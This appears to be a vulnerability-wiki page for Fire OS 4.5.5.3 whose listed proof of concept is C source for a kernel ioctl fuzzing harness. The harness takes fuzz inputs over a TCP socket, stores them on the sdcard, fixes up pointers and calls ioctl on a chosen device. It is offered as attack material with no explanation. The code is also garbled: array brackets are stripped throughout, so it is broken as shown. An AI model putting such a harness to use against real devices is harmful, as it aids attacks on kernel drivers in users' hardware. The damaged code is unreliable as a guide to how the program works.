PWNWIK.COM==免费、自由、人人可编辑的漏洞库
,
漏洞影响
Fire OS 4.5.5.3
POC
#include<stdio.h> #include<string.h> //strlen #include<sys/socket.h> #include<arpa/inet.h> //inet_addr #include<unistd.h> //write #include <stdlib.h> #include <sys/stat.h> #include <sys/mman.h> #include <fcntl.h> #include <stdbool.h> // Socket boilerplate code taken from here: http://www.binarytides.com/server-client-example-c-sockets-linux/ /* seed, ioctl_id, num_mappings, num_blobs, dev_name_len, dev_name, map_entry_t_arr, blobs */ int debug = 1; typedef struct { int src_id; int dst_id; int offset; } map_entry_t; short tiny_vals18 = {128, 127, 64, 63, 32, 31, 16, 15, 8, 7, 4, 3, 2, 1, 0, 256, 255, -1}; int *small_vals; int num_small_vals; // populates small_vals when called void populate_arrs(int top) { int num = 1; int count = 0; while (num < top) { //printf("%d\n", num); num <<= 1; count += 2; } // top count += 1; // -1 count += 1; num_small_vals = count; num >>= 1; small_vals = malloc(sizeof(int)*count); memset(small_vals, 0, count); int i = 0; while(num > 1) { small_valsi = num; i++; small_valsi = num-1; i++; num >>= 1; } small_valsi = 0; small_valsi+1 = top; small_valsi+2 = top-1; small_valsi+3 = -1; } // generate a random value of size size and store it in elem. // value has a weight % chance to be a "small value" void gen_rand_val(int size, char *elem, int small_weight) { int i; if ((rand() % 100) < small_weight) { // do small thing unsigned int idx = (rand() % num_small_vals); printf("Choosing %d\n", small_valsidx); switch (size) { case 2: idx = (rand() % 18); *(short *)elem = tiny_valsidx; break; case 4: *(int *)elem = small_valsidx; break; case 8: *(long long*)elem = small_valsidx; break; default: printf("Damn bro. Size: %d\n", size); exit(-1); } } else { for(i=0; i < size; i++) { elemi = (char)(rand()%0x100); } } } int main(int argc , char *argv) { int num_blobs = 0, num_mappings = 0, i = 0, dev_name_len = 0, j; unsigned int ioctl_id = 0; char *dev_name; void *tmp; char **ptr_arr; int *len_arr; unsigned int seed; int sockfd , client_sock , c , read_size; struct sockaddr_in server , client; int msg_size; void *generic_arr264; // max val for small_vals array int top = 8192; int cnt = 0; // chance that our generics are filled with "small vals" int default_weight = 50; populate_arrs(top); int retest = 1; goto rerun; sockfd = socket(AF_INET , SOCK_STREAM , 0); if (sockfd == -1) { printf("Could not create socket"); } puts("Socket created"); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)); server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(atoi(argv1)); //Bind if( bind(sockfd,(struct sockaddr *)&server , sizeof(server)) < 0) { //print the error message perror("bind failed. Error"); return 1; } puts("bind done"); listen: // Listen listen(sockfd , 3); puts("Waiting for incoming connections..."); c = sizeof(struct sockaddr_in); // accept connection from an incoming client client_sock = accept(sockfd, (struct sockaddr *)&client, (socklen_t*)&c); if (client_sock < 0) { perror("accept failed"); return 1; } puts("Connection accepted"); msg_size = 0; // Receive a message from client while( (read_size = recv(client_sock , &msg_size , 4 , 0)) > 0 ) { // recv the entire message char *recv_buf = calloc(msg_size, sizeof(char)); if (recv_buf == NULL) { printf("Failed to allocate recv_buf\n"); exit(-1); } int nrecvd = recv(client_sock, recv_buf, msg_size, 0); if (nrecvd != msg_size) { printf("Error getting all data!\n"); printf("nrecvd: %d\nmsg_size:%d\n", nrecvd, msg_size); exit(-1); } // quickly save a copy of the most recent data int savefd = open("/sdcard/saved", O_WRONLY|O_TRUNC|O_CREAT, 0644); if (savefd < 0) { perror("open saved"); exit(-1); } int err = write(savefd, recv_buf, msg_size); if (err != msg_size) { perror("write saved"); exit(-1); } fsync(savefd); close(savefd); rerun: if (retest) { recv_buf = calloc(msg_size, sizeof(char)); int fd = open("/sdcard/saved", O_RDONLY); if (fd < 0) { perror("open:"); exit(-1); } int fsize = lseek(fd, 0, SEEK_END); printf("file size: %d\n", fsize); lseek(fd, 0, SEEK_SET); read(fd, recv_buf, fsize); } char *head = recv_buf; seed = 0; //seed, ioctl_id, num_mappings, num_blobs, dev_name_len, dev_name, map_entry_t_arr, blob_len_arr, blobs memcpy(&seed, head, 4); head += 4; memcpy(&ioctl_id, head, 4); head += 4; memcpy(&num_mappings, head, 4); head += 4; memcpy(&num_blobs, head, 4); head += 4; memcpy(&dev_name_len, head, 4); head += 4; // srand with new seed srand(seed); /* dev name */ dev_name = calloc(dev_name_len+1, sizeof(char)); if (dev_name == NULL) { printf("Failed to allocate dev_name\n"); exit(-1); } memcpy(dev_name, head, dev_name_len); head += dev_name_len; /* map */ map_entry_t *map = calloc(num_mappings, sizeof(map_entry_t)); if (map == NULL) { printf("Failed to allocate map\n"); exit(-1); } if (num_mappings != 0) { memcpy(map, head, num_mappings*sizeof(map_entry_t)); head += num_mappings*sizeof(map_entry_t); } /* blobs */ // first create an array to store the sizes themselves len_arr = calloc(num_blobs, sizeof(int)); if (len_arr == NULL) { printf("Failed to allocate len_arr\n"); exit(-1); } // we'll also want an array to store our pointers ptr_arr = calloc(num_blobs, sizeof(void *)); if (ptr_arr == NULL) { printf("Failed to allocate ptr_arr\n"); exit(-1); } // copy the blob sizes into our size_arr for (j=0; j < num_blobs; j++) { memcpy(&len_arrj, head, sizeof(int)); head += sizeof(int); } // we'll also want memory bufs for all blobs // now that we have the sizes, allocate all the buffers we need for (j=0; j < num_blobs; j++) { ptr_arrj = calloc(len_arrj, sizeof(char)); printf("Sizeof(ptr_arr%d)=%d\n", j, len_arrj); printf("ptr_arr%d=%p\n", j, ptr_arrj); //printf("just added %p to ptr_arr\n", ptr_arrj); if (ptr_arrj == NULL) { printf("Failed to allocate a blob store\n"); exit(-1); } // might as well copy the memory over as soon as we allocate the space memcpy((char *)ptr_arrj, head, len_arrj); printf("ptr_arr%d=\n", j); for(i=0;i<len_arrj;i+=4){ printf("0x%08x\n", *(unsigned int *)(ptr_arrj + i)); } printf("\n"); head += len_arrj; } int num_generics = 0; // time for pointer fixup for (i=0; i < num_mappings; i++) { // get out entry map_entry_t entry = mapi; // pull out the struct to be fixed up char *tmp = ptr_arrentry.src_id; // check if this is a struct ptr or just a generic one // just a generic one if (entry.dst_id < 0) { // 90% chance we fixup the generic if ( (rand() % 10) > 0) { int buf_len = 128; char *tmp_generic = malloc(buf_len); memset(tmp_generic, 0, buf_len); // 95% chance we fill it with data if ((rand() % 100) > 95) { // if dst_id is < 0, it's abs value is the element size int size = -1 * entry.dst_id; int weight; // if it's a char or some float, never choose a "small val" if (size == 1 || size > 8) weight = 0; else weight = default_weight; for (i=0; i < buf_len; i+=size) { gen_rand_val(size, &tmp_generici, weight); } } generic_arrnum_generics = tmp_generic; memcpy(tmp+entry.offset, &tmp_generic, sizeof(void *)); num_generics += 1; if (num_generics >= 264) { printf("Code a better solution for storing generics\n"); exit(1); } } } // a struct ptr, so we have the data else { // 1 in 400 chance we don't fixup if ( (rand() % 400) > 0) { // now point it to the correct struct/blob // printf("placing %p, at %p\n", ptr_arrentry.dst_id, tmp+entry.offset); memcpy(tmp+entry.offset, &ptr_arrentry.dst_id, sizeof(void *)); } } } if (debug) { printf("ioctl_id: %d\n", ioctl_id); printf("num_mappings: %d\n", num_mappings); printf("num_blobs: %d\n", num_blobs); printf("dev_name_len: %d\n", dev_name_len); printf("dev_name: %s\n", dev_name); printf("data: \n"); //printf("(0x%x)\n", *(int *)&ptr_arr0); printf("(0x%p) : ", &ptr_arr0); printf("(0x%016lx)\n", *(unsigned long int *)ptr_arr0); printf("(0x%p) : ", (&ptr_arr0+1*8)); printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+1*8)); printf("(0x%p) : ", (&ptr_arr0+2*8)); printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+2*8)); printf("(0x%p) : ", (&ptr_arr0+3*8)); printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+3*8)); printf("(0x%p) : ", (&ptr_arr0+4*8)); printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+4*8)); //printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+5*8)); //printf("(0x%016lx)\n", *(unsigned long int *)(ptr_arr0+6*8)); //printf("(0x%x)\n", (int *)ptr_arr, (int *)ptr_arr); } // time for the actual ioctl //printf("Try to open device %s\n", dev_name); //fflush(stdout); int fd = open(dev_name, O_RDONLY); if (fd < 0) { perror("open"); exit(-1); } else { printf("Open devicd %s successfully.\n", dev_name); } //fflush(stdout); //printf("Try to call ioctl(fd=%d, ioctl_id=%d, ptr_arr=%p)\n", fd, ioctl_id, ptr_arr0); fflush(stdout); printf("%10d:", cnt++); if ((ioctl(fd, ioctl_id, ptr_arr0)) == -1) perror("ioctl"); else printf("good hit\n"); close(fd); printf("device %s closed\n", dev_name); if (retest) exit(0); fflush(stdout); // okay now free all the shit we alloced free(recv_buf); free(dev_name); if (map != NULL) free(map); free(len_arr); for (i=0; i < num_blobs; i++) { //printf("%d: free'ing %p\n", i, ptr_arri); free(ptr_arri); } free(ptr_arr); for (i=0; i < num_generics; i++) { free(generic_arri); } write(client_sock, &msg_size, 4); msg_size = 0; } if(read_size == 0) { puts("Client disconnected"); fflush(stdout); close(client_sock); goto listen; } else if(read_size == -1) { perror("recv failed"); } return 0; }
pwnwiki.com